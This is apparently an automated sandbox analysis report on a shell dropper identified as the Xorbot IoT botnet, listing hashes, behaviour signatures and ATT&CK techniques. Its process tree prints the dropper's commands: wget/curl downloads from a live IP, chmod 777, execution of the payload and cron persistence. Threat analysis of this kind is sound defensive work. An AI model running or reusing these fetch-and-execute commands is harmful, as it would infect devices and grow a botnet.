Analysis
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max time kernel
140s -
max time network
159s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
03-12-2024 22:29
General
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Target
bins.sh
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Size
10KB
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MD5
2fb07c471bdf3d544ed7b17a96c49562
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SHA1
d0fcc460e8765eb060a8fd97f608691716a20163
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SHA256
8fd6fbf664ac74a348aa5d1f7456a71e7806bcced78f8d18d1c6c0c4f2344b4f
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SHA512
526f3eed7ddf8c6697664873fe9fb49c382134a1241790ccaa04edbabbd693deb1a3a8dd341f332d2a878d9a060d70087832449d299647aec5291c7b14645c35
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SSDEEP
96:Ettf8gEtkD6cp6cx6cL+6G+vfeZK6KXLog5ZMP3ZK6KXLeg5bttf8gySSjKMc6ci:5tkD6S666P+v25G6S666N+S
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2059) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc62⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc62⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc62⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc62⤵
- File and Directory Permissions Modification
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/tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6./f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc62⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc62⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL2⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD504c19d8e04e3b6c8e1c73d5f13ca4586
SHA177243e54963d5fd38c80ebedac872e92eb8d5d33
SHA256a49da47598ec8075478d15d07f91acf4416bde75bf5e2255c2aeed50f27e5e2b
SHA512d1317307acf3bca9bffd913441b2a43ae86266a58474dec7e03f95a9ad09cc24c97c398212ccba5c8235d86a48d019cefa886d903760c4e7468bb4f95edb0a55